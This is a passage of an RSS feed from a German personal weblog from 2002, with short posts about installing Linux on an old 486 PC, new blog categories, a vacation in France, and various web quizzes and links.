  19336.    <description><![CDATA[Als ich die <a href="http://waterwave.ch/weblog/index.php?cat=6"><b>Kategorie Linux</b></a> einfügte, sah ich, dass bei ihrem Aufruf "...index.php?cat=5" erscheint. Als mehr oder weniger geübter LAN-Bastler assoziere ich "cat 5" aber mit Netzwerk und nicht mit Linux. So musste dann noch schnell die <a href="http://waterwave.ch/weblog/index.php?cat=5"><b>Kategorie Networking</b></a> entstehen und <a href="http://waterwave.ch/weblog/index.php?cat=6">Linux</a> wurde eine Stufe weitergeschoben. Dies interessiert vermutlich niemanden; aber es erklärt warum bis jetzt eine leere Seite erschien wenn man "...?cat=5" eingab. Nun ist dies das erste Posting in dieser Kategorie und es werden noch weitere folgen (vermutlich nicht allzu häufig ;-)
  19337. ]]></description>
  19338.    <content:encoded><![CDATA[Als ich die <a href="http://waterwave.ch/weblog/index.php?cat=6"><b>Kategorie Linux</b></a> einfügte, sah ich, dass bei ihrem Aufruf "...index.php?cat=5" erscheint. Als mehr oder weniger geübter LAN-Bastler assoziere ich "cat 5" aber mit Netzwerk und nicht mit Linux. So musste dann noch schnell die <a href="http://waterwave.ch/weblog/index.php?cat=5"><b>Kategorie Networking</b></a> entstehen und <a href="http://waterwave.ch/weblog/index.php?cat=6">Linux</a> wurde eine Stufe weitergeschoben. Dies interessiert vermutlich niemanden; aber es erklärt warum bis jetzt eine leere Seite erschien wenn man "...?cat=5" eingab. Nun ist dies das erste Posting in dieser Kategorie und es werden noch weitere folgen (vermutlich nicht allzu häufig ;-)
  19339. ]]></content:encoded>
  19340.  </item>
  19341.  
  19342.  <item>
  19343.    <title>Neue Kategorie</title>
  19344.    <link>https://blog.x-way.org/Linux/2002/08/10/Neue_Kategorie.html</link>
  19345.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=49</guid>
  19346.    <dc:creator>Andreas Jaggi</dc:creator>
  19347.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19348.    <pubDate>Sat, 10 Aug 2002 02:49:00 +0200</pubDate>
  19349.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19350.    <description><![CDATA[Ab jetzt kann man all den Stuss, welchen ich in der letzten Zeit über Linux geschrieben habe (schreiben werde), in der <a href="http://waterwave.ch/weblog/index.php?cat=6" target="_self"><b>Kategorie Linux</b></a> finden.
  19351. ]]></description>
  19352.    <content:encoded><![CDATA[Ab jetzt kann man all den Stuss, welchen ich in der letzten Zeit über Linux geschrieben habe (schreiben werde), in der <a href="http://waterwave.ch/weblog/index.php?cat=6" target="_self"><b>Kategorie Linux</b></a> finden.
  19353. ]]></content:encoded>
  19354.  </item>
  19355.  
  19356.  <item>
  19357.    <title>Gujin: Linux boot loader</title>
  19358.    <link>https://blog.x-way.org/Linux/2002/08/08/Gujin_Linux_boot_loader.html</link>
  19359.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=48</guid>
  19360.    <dc:creator>Andreas Jaggi</dc:creator>
  19361.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19362.    <pubDate>Thu, 08 Aug 2002 13:40:00 +0200</pubDate>
  19363.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19364.    <description><![CDATA[Nachdem der 486er nach der 4. Installation Linux noch immer nicht aufstarten wollte, habe ich <a href="http://sourceforge.net/projects/gujin/" target="_blank"><b>diesen</b></a> Boot Loader gefunden. Und siehe da, es funktioniert.<br>BTW: Nachdem Knoppix und ICEpack-Linux und Turbolinux sich nicht installieren liessen, habe ich dei Press-Edition von Redhat 7.3 draufgetan.
  19365. ]]></description>
  19366.    <content:encoded><![CDATA[Nachdem der 486er nach der 4. Installation Linux noch immer nicht aufstarten wollte, habe ich <a href="http://sourceforge.net/projects/gujin/" target="_blank"><b>diesen</b></a> Boot Loader gefunden. Und siehe da, es funktioniert.<br>BTW: Nachdem Knoppix und ICEpack-Linux und Turbolinux sich nicht installieren liessen, habe ich dei Press-Edition von Redhat 7.3 draufgetan.
  19367. ]]></content:encoded>
  19368.  </item>
  19369.  
  19370.  <item>
  19371.    <title>ROOT Linux</title>
  19372.    <link>https://blog.x-way.org/Linux/2002/08/06/ROOT_Linux.html</link>
  19373.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=47</guid>
  19374.    <dc:creator>Andreas Jaggi</dc:creator>
  19375.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19376.    <pubDate>Tue, 06 Aug 2002 21:28:00 +0200</pubDate>
  19377.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19378.    <description><![CDATA[Zu den potentiellen Kandidaten für den 486er hat sich noch eine weitere Distribution gesellt:<br><br><a href="http://www.rootlinux.org" target="_blank"><img src="https://blog.x-way.org/images/rootlinux.jpg" width="88" height="31" alt="ROOT Linux"></a><br><br>Aber zuerst wird jetzt das ISO-Image von Knoppix fertig herunterge<span style="text-decoration: line-through;">saugt</span>laden.
  19379. ]]></description>
  19380.    <content:encoded><![CDATA[Zu den potentiellen Kandidaten für den 486er hat sich noch eine weitere Distribution gesellt:<br><br><a href="http://www.rootlinux.org" target="_blank"><img src="https://blog.x-way.org/images/rootlinux.jpg" width="88" height="31" alt="ROOT Linux"></a><br><br>Aber zuerst wird jetzt das ISO-Image von Knoppix fertig herunterge<span style="text-decoration: line-through;">saugt</span>laden.
  19381. ]]></content:encoded>
  19382.  </item>
  19383.  
  19384.  <item>
  19385.    <title>Knoppix, Phat Linux und SUSE Liveeval</title>
  19386.    <link>https://blog.x-way.org/Linux/2002/08/06/Knoppix_Phat_Linux_und_SUSE_Liveeval.html</link>
  19387.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=46</guid>
  19388.    <dc:creator>Andreas Jaggi</dc:creator>
  19389.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19390.    <pubDate>Tue, 06 Aug 2002 19:13:00 +0200</pubDate>
  19391.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19392.    <description><![CDATA[Irgendeine dieser Distributionen werde ich benutzen um einem alten 486er Leben einzuhauchen. ;-)<br><br><a href="http://www.knopper.net/knoppix/" target="_blank"><b>Knoppix</b></a> - gefunden via <a href="https://web.archive.org/web/20020810145549/http://flashback.gantenbein.ws/entry.php?id=00024" target="_blank"><b>andi</b></a><br><a href="https://web.archive.org/web/20020923080402/http://www.phatlinux.com/" target="_blank"><b>Phat Linux</b></a><br><a href="http://www.suse.de/" target="_blank"><b>SUSE Liveeval</b></a>
  19393. ]]></description>
  19394.    <content:encoded><![CDATA[Irgendeine dieser Distributionen werde ich benutzen um einem alten 486er Leben einzuhauchen. ;-)<br><br><a href="http://www.knopper.net/knoppix/" target="_blank"><b>Knoppix</b></a> - gefunden via <a href="https://web.archive.org/web/20020810145549/http://flashback.gantenbein.ws/entry.php?id=00024" target="_blank"><b>andi</b></a><br><a href="https://web.archive.org/web/20020923080402/http://www.phatlinux.com/" target="_blank"><b>Phat Linux</b></a><br><a href="http://www.suse.de/" target="_blank"><b>SUSE Liveeval</b></a>
  19395. ]]></content:encoded>
  19396.  </item>
  19397.  
  19398.  <item>
  19399.    <title>Weblog Bruder</title>
  19400.    <link>https://blog.x-way.org/Misc/2002/08/06/Weblog_Bruder.html</link>
  19401.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=45</guid>
  19402.    <dc:creator>Andreas Jaggi</dc:creator>
  19403.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19404.    <pubDate>Tue, 06 Aug 2002 18:40:00 +0200</pubDate>
  19405.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19406.    <description><![CDATA[<br><a href="https://web.archive.org/web/20070403124927/http://flashback.gantenbein.ws/" target="_blank"><img src="http://andreas.gantenbein.ws/logo_button.gif" width="88" height="31" alt="http://andreas.gantenbein.ws" style="border: 1px solid #cccccc;"></a><br><br>Wie ich <a href="http://waterwave.ch/weblog/detail.php?id=39" target="_blank"><b>hier</b></a> feststelle, habe ich <a href="https://web.archive.org/web/20030925212731/http://www.blogtree.com/blogtree.php?blogid=1265" target="_blank"><b>hier</b></a> einen Weblog Bruder bekommen. :-)
  19407. ]]></description>
  19408.    <content:encoded><![CDATA[<br><a href="https://web.archive.org/web/20070403124927/http://flashback.gantenbein.ws/" target="_blank"><img src="http://andreas.gantenbein.ws/logo_button.gif" width="88" height="31" alt="http://andreas.gantenbein.ws" style="border: 1px solid #cccccc;"></a><br><br>Wie ich <a href="http://waterwave.ch/weblog/detail.php?id=39" target="_blank"><b>hier</b></a> feststelle, habe ich <a href="https://web.archive.org/web/20030925212731/http://www.blogtree.com/blogtree.php?blogid=1265" target="_blank"><b>hier</b></a> einen Weblog Bruder bekommen. :-)
  19409. ]]></content:encoded>
  19410.  </item>
  19411.  
  19412.  <item>
  19413.    <title>Damians World</title>
  19414.    <link>https://blog.x-way.org/Linux/2002/08/06/Damians_World.html</link>
  19415.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=44</guid>
  19416.    <dc:creator>Andreas Jaggi</dc:creator>
  19417.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19418.    <pubDate>Tue, 06 Aug 2002 18:16:00 +0200</pubDate>
  19419.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19420.    <description><![CDATA[<a href="https://web.archive.org/web/20020725162207/http://damian.behave.ch/" target="_blank"><b>damian.behave.ch</b></a> ist die Webseite eines Informatikstudenten.<br>Besitzt umfangreiche und qualitativ hochstehende Linksammlung. Insbesondere zu den Themen Linux und Apple.
  19421. ]]></description>
  19422.    <content:encoded><![CDATA[<a href="https://web.archive.org/web/20020725162207/http://damian.behave.ch/" target="_blank"><b>damian.behave.ch</b></a> ist die Webseite eines Informatikstudenten.<br>Besitzt umfangreiche und qualitativ hochstehende Linksammlung. Insbesondere zu den Themen Linux und Apple.
  19423. ]]></content:encoded>
  19424.  </item>
  19425.  
  19426.  <item>
  19427.    <title>What Tree Did You Fall From?</title>
  19428.    <link>https://blog.x-way.org/Misc/2002/08/05/What_Tree_Did_You_Fall_From.html</link>
  19429.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=43</guid>
  19430.    <dc:creator>Andreas Jaggi</dc:creator>
  19431.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19432.    <pubDate>Mon, 05 Aug 2002 17:18:00 +0200</pubDate>
  19433.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19434.    <description><![CDATA[Der <a href="https://web.archive.org/web/20020808170007/http://www.salpar.net/tree.html" target="_blank"><b>keltischen Astrologie</b></a> entsprechend bin ich von diesem Baum gefallen:<br><i>ELM TREE (Noble-Minded) - pleasant shape, tasteful clothes, loudest demands, tends not to forgive mistakes, cheerful, likes to lead but not to obey, honest and faithful partner, likes making decisions for others, noble-minded, generous, good sense of humor, practical.</i><br><br>Obwohl ich mich eher dem FIR TREE zugeordnet hätte.<br><br>Via <a href="http://www.x-ploration.de/" target="_blank"><b>generation NeXt</b></a>
  19435. ]]></description>
  19436.    <content:encoded><![CDATA[Der <a href="https://web.archive.org/web/20020808170007/http://www.salpar.net/tree.html" target="_blank"><b>keltischen Astrologie</b></a> entsprechend bin ich von diesem Baum gefallen:<br><i>ELM TREE (Noble-Minded) - pleasant shape, tasteful clothes, loudest demands, tends not to forgive mistakes, cheerful, likes to lead but not to obey, honest and faithful partner, likes making decisions for others, noble-minded, generous, good sense of humor, practical.</i><br><br>Obwohl ich mich eher dem FIR TREE zugeordnet hätte.<br><br>Via <a href="http://www.x-ploration.de/" target="_blank"><b>generation NeXt</b></a>
  19437. ]]></content:encoded>
  19438.  </item>
  19439.  
  19440.  <item>
  19441.    <title>Hilfe, ich bin besessen!</title>
  19442.    <link>https://blog.x-way.org/Misc/2002/08/05/Hilfe_ich_bin_besessen.html</link>
  19443.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=42</guid>
  19444.    <dc:creator>Andreas Jaggi</dc:creator>
  19445.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19446.    <pubDate>Mon, 05 Aug 2002 17:03:00 +0200</pubDate>
  19447.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19448.    <description><![CDATA[<br><div style="width: 100%; text-align: center"><table style="margin-left: auto; margin-right: auto; border: 2px solid #003060; height: 15px; width: 320px; background-color: #003060; border-spacing: 0;"><tr><td style="width: 200px; background-color: #FF6800; text-align: center; font-family: 'ocr a extended', monospace; color: #000000;">62.5 %</td><td style="background-color: #003060"></td></tr></table><br>My weblog owns 62.5 % of me.<br><a href="https://web.archive.org/web/20020914121801/http://wannabegirl.org/quiz/owned/">Does your weblog own you?</a></div>
  19449. ]]></description>
  19450.    <content:encoded><![CDATA[<br><div style="width: 100%; text-align: center"><table style="margin-left: auto; margin-right: auto; border: 2px solid #003060; height: 15px; width: 320px; background-color: #003060; border-spacing: 0;"><tr><td style="width: 200px; background-color: #FF6800; text-align: center; font-family: 'ocr a extended', monospace; color: #000000;">62.5 %</td><td style="background-color: #003060"></td></tr></table><br>My weblog owns 62.5 % of me.<br><a href="https://web.archive.org/web/20020914121801/http://wannabegirl.org/quiz/owned/">Does your weblog own you?</a></div>
  19451. ]]></content:encoded>
  19452.  </item>
  19453.  
  19454.  <item>
  19455.    <title>Festerei</title>
  19456.    <link>https://blog.x-way.org/Misc/2002/08/05/Festerei.html</link>
  19457.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=41</guid>
  19458.    <dc:creator>Andreas Jaggi</dc:creator>
  19459.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19460.    <pubDate>Mon, 05 Aug 2002 16:55:00 +0200</pubDate>
  19461.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19462.    <description><![CDATA[Am 1. August war ich <a href="http://www.brienzerseerockfestival.ch" target="_blank"><b>da</b></a> und am 2. und 3. August <span style="text-decoration: line-through;">musste</span>durfte ich beim Sommerfest in <a href="http://www.zweisimmen.ch" target="_blank"><b>Zweisimmen</b></a> helfen (jetzt bin ich Weltmeister im Abwaschen) und bis am frühen Morgen (ca. 5 Uhr) in der Bar herum<span style="text-decoration: line-through;">saufen</span>hängen.
  19463. ]]></description>
  19464.    <content:encoded><![CDATA[Am 1. August war ich <a href="http://www.brienzerseerockfestival.ch" target="_blank"><b>da</b></a> und am 2. und 3. August <span style="text-decoration: line-through;">musste</span>durfte ich beim Sommerfest in <a href="http://www.zweisimmen.ch" target="_blank"><b>Zweisimmen</b></a> helfen (jetzt bin ich Weltmeister im Abwaschen) und bis am frühen Morgen (ca. 5 Uhr) in der Bar herum<span style="text-decoration: line-through;">saufen</span>hängen.
  19465. ]]></content:encoded>
  19466.  </item>
  19467.  
  19468.  <item>
  19469.    <title>Portrait</title>
  19470.    <link>https://blog.x-way.org/Misc/2002/08/05/Portrait.html</link>
  19471.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=40</guid>
  19472.    <dc:creator>Andreas Jaggi</dc:creator>
  19473.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19474.    <pubDate>Mon, 05 Aug 2002 16:43:00 +0200</pubDate>
  19475.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19476.    <description><![CDATA[<table style="border: 0; width: 100%"><tr><td style="width: 84px"><img src="https://blog.x-way.org/images/avatar.gif" alt="Avatar" height="125" width="65"></td><td>Bei <a href="http://www.avatomatic.de/" target="_blank"><b>avatomatic.de</b></a> gibt es eine weitere "Personendarstellungsmaschine". So kommt zu <a href="http://waterwave.ch/weblog/detail.php?id=16">den</a> <a href="http://waterwave.ch/weblog/about.php">schon</a> <a href="http://waterwave.ch/weblog/detail.php?id=25">vorhandenen</a> noch ein weiteres Selbstbildnis dazu.<br>Gefunden bei <a href="https://web.archive.org/web/20020925084357/http://www.mytzwaen.de/" target="_blank"><b>tzwaen</b></a></td></tr></table>
  19477. ]]></description>
  19478.    <content:encoded><![CDATA[<table style="border: 0; width: 100%"><tr><td style="width: 84px"><img src="https://blog.x-way.org/images/avatar.gif" alt="Avatar" height="125" width="65"></td><td>Bei <a href="http://www.avatomatic.de/" target="_blank"><b>avatomatic.de</b></a> gibt es eine weitere "Personendarstellungsmaschine". So kommt zu <a href="http://waterwave.ch/weblog/detail.php?id=16">den</a> <a href="http://waterwave.ch/weblog/about.php">schon</a> <a href="http://waterwave.ch/weblog/detail.php?id=25">vorhandenen</a> noch ein weiteres Selbstbildnis dazu.<br>Gefunden bei <a href="https://web.archive.org/web/20020925084357/http://www.mytzwaen.de/" target="_blank"><b>tzwaen</b></a></td></tr></table>
  19479. ]]></content:encoded>
  19480.  </item>
  19481.  
  19482.  <item>
  19483.    <title>Weblog Stammbaum</title>
  19484.    <link>https://blog.x-way.org/Misc/2002/08/05/Weblog_Stammbaum.html</link>
  19485.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=39</guid>
  19486.    <dc:creator>Andreas Jaggi</dc:creator>
  19487.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19488.    <pubDate>Mon, 05 Aug 2002 16:28:00 +0200</pubDate>
  19489.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19490.    <description><![CDATA[<br><a href="https://web.archive.org/web/20030925212731/http://www.blogtree.com/blogtree.php?blogid=1265" title="Blog Pedigree" target="_blank"><img alt="Blog Pedigree Logo" src="https://blog.x-way.org/images/bt_link_4.gif" width="80" height="18"></a><br><br>Auf <a href="https://web.archive.org/web/20020914044224/blogtree.com" target="_blank"><b>blogtree.com</b></a> kann man seinen Weblog eintragen und die "Eltern" seines Weblogs angeben. Leider erinnere ich mich nicht mehr an alle Weblogs, welche zur Entstehung des x-log beigetragen haben. Wer sich vergessen fühlt soll sich melden. ;-)<br><br>Gefunden bei <a href="http://www.pepilog.de" target="_blank"><b>Pepino</b></a>
  19491. ]]></description>
  19492.    <content:encoded><![CDATA[<br><a href="https://web.archive.org/web/20030925212731/http://www.blogtree.com/blogtree.php?blogid=1265" title="Blog Pedigree" target="_blank"><img alt="Blog Pedigree Logo" src="https://blog.x-way.org/images/bt_link_4.gif" width="80" height="18"></a><br><br>Auf <a href="https://web.archive.org/web/20020914044224/blogtree.com" target="_blank"><b>blogtree.com</b></a> kann man seinen Weblog eintragen und die "Eltern" seines Weblogs angeben. Leider erinnere ich mich nicht mehr an alle Weblogs, welche zur Entstehung des x-log beigetragen haben. Wer sich vergessen fühlt soll sich melden. ;-)<br><br>Gefunden bei <a href="http://www.pepilog.de" target="_blank"><b>Pepino</b></a>
  19493. ]]></content:encoded>
  19494.  </item>
  19495.  
  19496.  <item>
  19497.    <title>Linux läuft wieder</title>
  19498.    <link>https://blog.x-way.org/Linux/2002/07/28/Linux_laeuft_wieder.html</link>
  19499.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=38</guid>
  19500.    <dc:creator>Andreas Jaggi</dc:creator>
  19501.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19502.    <pubDate>Sun, 28 Jul 2002 21:42:00 +0200</pubDate>
  19503.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
  19504.    <description><![CDATA[Diesmal ist es nicht mehr die <a href="http://waterwave.ch/weblog/detail.php?id=28">hier</a> erwähnte ICE-Linux Distribution sondern <a href="http://www.redhat.de/" target="_blank"><b>Redhat 7.3</b></a>. Mit <a href="http://www.kde.org/" target="_blank">KDE</a> konnte ich mich nicht anfreunden. Deshalb dien jetzt <a href="http://www.ximian.com/products/ximian_desktop/" target="_blank"><b>Ximian-Gnome</b></a> als Desktop Umgebung. Fenstermanager ist der standartmässig eingebundene Sawfish.<br><a href="https://blog.x-way.org/images/aqua.png"><b>Hier</b></a> gibts auch noch einen aktuellen Screenshot.<br>(Einen richtiger Mac kann ich mir finanziell leider noch nicht leisten. Für Spenden bitte brieflich mit mir <a href="http://waterwave.ch/weblog/about.php"><b>Kontakt</b></a> aufnehmen. ;-)
  19505. ]]></description>
  19506.    <content:encoded><![CDATA[Diesmal ist es nicht mehr die <a href="http://waterwave.ch/weblog/detail.php?id=28">hier</a> erwähnte ICE-Linux Distribution sondern <a href="http://www.redhat.de/" target="_blank"><b>Redhat 7.3</b></a>. Mit <a href="http://www.kde.org/" target="_blank">KDE</a> konnte ich mich nicht anfreunden. Deshalb dien jetzt <a href="http://www.ximian.com/products/ximian_desktop/" target="_blank"><b>Ximian-Gnome</b></a> als Desktop Umgebung. Fenstermanager ist der standartmässig eingebundene Sawfish.<br><a href="https://blog.x-way.org/images/aqua.png"><b>Hier</b></a> gibts auch noch einen aktuellen Screenshot.<br>(Einen richtiger Mac kann ich mir finanziell leider noch nicht leisten. Für Spenden bitte brieflich mit mir <a href="http://waterwave.ch/weblog/about.php"><b>Kontakt</b></a> aufnehmen. ;-)
  19507. ]]></content:encoded>
  19508.  </item>
  19509.  
  19510.  <item>
  19511.    <title>Temperatur kann schrecklich sein</title>
  19512.    <link>https://blog.x-way.org/Misc/2002/07/22/Temperatur_kann_schrecklich_sein.html</link>
  19513.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=37</guid>
  19514.    <dc:creator>Andreas Jaggi</dc:creator>
  19515.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19516.    <pubDate>Mon, 22 Jul 2002 22:09:00 +0200</pubDate>
  19517.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19518.    <description><![CDATA[Besonders wenn man gestern vom Atlantik zurückgekommen ist und heute eine Bergwanderung auf <b>3000</b> Meter über Meer macht!<br><br>Was soviel heissen will, dass ich aus Frankreich zurück bin und mir hier schrecklich kalt ist. <a href="https://blog.x-way.org/stuff/tumattendsaparis.txt"><b>Dieses</b></a> Gedicht handelt zwar nicht von meinem Ferienort, hat mir aber trotzdem so sehr gefallen, dass ich's jetzt <a href="https://blog.x-way.org/stuff/tumattendsaparis.txt">hierhin</a> mitbringe. Und (falls es jemanden ausser mir interessiert) irgendwann gibts noch einen (kleinen) Ferienbericht mit Photos.
  19519. ]]></description>
  19520.    <content:encoded><![CDATA[Besonders wenn man gestern vom Atlantik zurückgekommen ist und heute eine Bergwanderung auf <b>3000</b> Meter über Meer macht!<br><br>Was soviel heissen will, dass ich aus Frankreich zurück bin und mir hier schrecklich kalt ist. <a href="https://blog.x-way.org/stuff/tumattendsaparis.txt"><b>Dieses</b></a> Gedicht handelt zwar nicht von meinem Ferienort, hat mir aber trotzdem so sehr gefallen, dass ich's jetzt <a href="https://blog.x-way.org/stuff/tumattendsaparis.txt">hierhin</a> mitbringe. Und (falls es jemanden ausser mir interessiert) irgendwann gibts noch einen (kleinen) Ferienbericht mit Photos.
  19521. ]]></content:encoded>
  19522.  </item>
  19523.  
  19524.  <item>
  19525.    <title>Moustey</title>
  19526.    <link>https://blog.x-way.org/Misc/2002/07/11/Moustey.html</link>
  19527.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=36</guid>
  19528.    <dc:creator>Andreas Jaggi</dc:creator>
  19529.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19530.    <pubDate>Thu, 11 Jul 2002 13:55:00 +0200</pubDate>
  19531.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19532.    <description><![CDATA[heisst der <a href="https://web.archive.org/web/20020626075736/http://www.tourisme-landes.com/Moustey.html" target="_blank"><b>Ort</b></a>, wo ich die nächsten 10 Tage etwas Erholung suchen werde. ;-)<br><br><div style="width: 100%; text-align: center"><img src="https://blog.x-way.org/images/pins.jpg" height="186" width="325" style="border: 1px solid #000000;" alt="Seekiefern in Moustey"></div><br><b>Schöne Ferien!</b>
  19533. ]]></description>
  19534.    <content:encoded><![CDATA[heisst der <a href="https://web.archive.org/web/20020626075736/http://www.tourisme-landes.com/Moustey.html" target="_blank"><b>Ort</b></a>, wo ich die nächsten 10 Tage etwas Erholung suchen werde. ;-)<br><br><div style="width: 100%; text-align: center"><img src="https://blog.x-way.org/images/pins.jpg" height="186" width="325" style="border: 1px solid #000000;" alt="Seekiefern in Moustey"></div><br><b>Schöne Ferien!</b>
  19535. ]]></content:encoded>
  19536.  </item>
  19537.  
  19538.  <item>
  19539.    <title>Ist das bedenklich?</title>
  19540.    <link>https://blog.x-way.org/Misc/2002/07/10/Ist_das_bedenklich.html</link>
  19541.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=35</guid>
  19542.    <dc:creator>Andreas Jaggi</dc:creator>
  19543.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19544.    <pubDate>Wed, 10 Jul 2002 23:21:00 +0200</pubDate>
  19545.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19546.    <description><![CDATA[<a href="https://blog.x-way.org/images/w2k-10072002.gif"><b>Hier</b></a> ist ersichtlich wie es um meine Windows Partitionen steht. Schon lustig wie man fast 40% einer Partition mit fragmentierten Daten <b>zumüllen</b> kann. ;o)
  19547. ]]></description>
  19548.    <content:encoded><![CDATA[<a href="https://blog.x-way.org/images/w2k-10072002.gif"><b>Hier</b></a> ist ersichtlich wie es um meine Windows Partitionen steht. Schon lustig wie man fast 40% einer Partition mit fragmentierten Daten <b>zumüllen</b> kann. ;o)
  19549. ]]></content:encoded>
  19550.  </item>
  19551.  
  19552.  <item>
  19553.    <title>Schade, dass ...</title>
  19554.    <link>https://blog.x-way.org/Misc/2002/07/09/Schade_dass_.html</link>
  19555.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=34</guid>
  19556.    <dc:creator>Andreas Jaggi</dc:creator>
  19557.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19558.    <pubDate>Tue, 09 Jul 2002 19:22:00 +0200</pubDate>
  19559.    <category domain="https://blog.x-way.org/Misc/">Misc</category>
  19560.    <description><![CDATA[<br><img src="https://blog.x-way.org/images/bertogliati.jpg" width="120" height="100" alt="Rubens Bertogliati" title="Rubens Bertogliati" style="border: 1px solid #000000;"><br><br>... <b><a href="https://web.archive.org/web/20031023032456/http://www.letour.fr/2002/fr/coureur.oft?service=RaceServer&amp;RaceType=TDF&amp;RaceYear=2002&amp;Language=FRA&amp;PersonName=153" target="_blank">Rubens</a> <a href="https://web.archive.org/web/20040126042104/http://www.eurosport.com/person.asp?PersonID=17511&amp;LangueID=1&amp;SportID=18" target="_blank">Bertogliati</a></b> das <a href="https://web.archive.org/web/20020811222623/http://imageserver.havasadvertisingsports.net/ImageServer.asp?Path=/Oneup/FanAvenueV2/Multimedia/Produits/&amp;name=pro2.jpg&amp;width=500&amp;height=375&amp;proportion=1&amp;format=jpeg&amp;quality=40" target="_blank"><b>maillot jaune</b></a> an <b><a href="https://web.archive.org/web/20020803151933/http://www.letour.fr/2002/fr/coureur.oft?service=RaceServer&amp;RaceType=TDF&amp;RaceYear=2002&amp;Language=FRA&amp;PersonName=011" target="_blank">Erik</a> <a href="https://web.archive.org/web/20040126041257/http://www.eurosport.com/person.asp?PersonID=874&amp;LangueID=1&amp;SportID=18" target="_blank">Zabel</a></b> abgeben musste. Aber das wird sich im Verlauf der <a href="http://www.letour.fr/" target="_blank"><b>Tour de France</b></a> sicherlich noch mehrmals ändern ...
  19561. ]]></description>
  19562.    <content:encoded><![CDATA[<br><img src="https://blog.x-way.org/images/bertogliati.jpg" width="120" height="100" alt="Rubens Bertogliati" title="Rubens Bertogliati" style="border: 1px solid #000000;"><br><br>... <b><a href="https://web.archive.org/web/20031023032456/http://www.letour.fr/2002/fr/coureur.oft?service=RaceServer&amp;RaceType=TDF&amp;RaceYear=2002&amp;Language=FRA&amp;PersonName=153" target="_blank">Rubens</a> <a href="https://web.archive.org/web/20040126042104/http://www.eurosport.com/person.asp?PersonID=17511&amp;LangueID=1&amp;SportID=18" target="_blank">Bertogliati</a></b> das <a href="https://web.archive.org/web/20020811222623/http://imageserver.havasadvertisingsports.net/ImageServer.asp?Path=/Oneup/FanAvenueV2/Multimedia/Produits/&amp;name=pro2.jpg&amp;width=500&amp;height=375&amp;proportion=1&amp;format=jpeg&amp;quality=40" target="_blank"><b>maillot jaune</b></a> an <b><a href="https://web.archive.org/web/20020803151933/http://www.letour.fr/2002/fr/coureur.oft?service=RaceServer&amp;RaceType=TDF&amp;RaceYear=2002&amp;Language=FRA&amp;PersonName=011" target="_blank">Erik</a> <a href="https://web.archive.org/web/20040126041257/http://www.eurosport.com/person.asp?PersonID=874&amp;LangueID=1&amp;SportID=18" target="_blank">Zabel</a></b> abgeben musste. Aber das wird sich im Verlauf der <a href="http://www.letour.fr/" target="_blank"><b>Tour de France</b></a> sicherlich noch mehrmals ändern ...
  19563. ]]></content:encoded>
  19564.  </item>
  19565.  
  19566.  <item>
  19567.    <title>Unix-AG</title>
  19568.    <link>https://blog.x-way.org/Linux/2002/07/08/Unix-AG.html</link>
  19569.    <guid isPermaLink="true">http://waterwave.ch/weblog/detail.php?id=33</guid>
  19570.    <dc:creator>Andreas Jaggi</dc:creator>
  19571.    <creativeCommons:license>http://creativecommons.org/licenses/by-nd-nc/1.0/</creativeCommons:license>
  19572.    <pubDate>Mon, 08 Jul 2002 19:55:00 +0200</pubDate>
  19573.    <category domain="https://blog.x-way.org/Linux/">Linux</category>
